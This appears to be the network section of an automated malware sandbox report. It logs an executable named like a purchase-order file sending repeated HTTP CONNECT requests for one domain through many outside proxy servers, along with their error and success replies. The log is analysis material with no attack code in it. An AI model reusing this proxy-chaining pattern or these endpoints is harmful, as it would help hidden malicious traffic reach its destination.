Mar 11, 2024 16:39:44.715843916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.10	50507	103.190.54.141	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.717767954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.10	49806	184.181.217.194	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.722253084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.10	50673	95.164.89.123	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.722496986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.10	50676	207.180.234.220	36946	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.730787039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.410675049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.387461901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.10	50508	120.197.40.219	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.735342026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.166052103 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.10	51037	47.236.85.113	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.737006903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.10	51039	47.236.85.113	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.738598108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.10	50565	185.132.242.212	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.739980936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.10	51040	47.236.85.113	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.740489006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.10	51043	47.236.85.113	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.744023085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.10	50721	121.159.146.251	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.753844976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.10	50681	195.177.217.131	52858	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.753977060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.441951990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.481595993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.10	50680	192.46.229.19	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.754431009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.457582951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.489097118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676597118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.786093950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989113092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.083029032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.177206039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.285666943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.10	50687	52.67.10.183	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.764113903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.169846058 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.10	50921	162.159.241.5	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.772452116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.933439970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.10	50773	134.209.29.120	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.775602102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.10	50917	47.88.3.19	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.778645992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.806356907 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.10	50804	174.75.211.222	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.780073881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.10	50960	104.16.104.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.787019014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.941545963 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.10	50969	172.67.182.96	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.788836002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.943340063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.10	50790	213.136.78.200	28513	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.796011925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.457559109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.387502909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.286020041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.10	50980	45.12.30.231	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.801774025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.955986023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.10	50830	174.77.111.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.806240082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.10	50827	72.210.221.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.806282043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.10	50879	38.54.95.19	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.807147980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.826816082 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.10	50887	45.196.148.67	5432	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.810575962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.027610064 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.10	50927	160.3.168.70	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.814527035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.444844961 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.10	50949	198.23.229.203	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
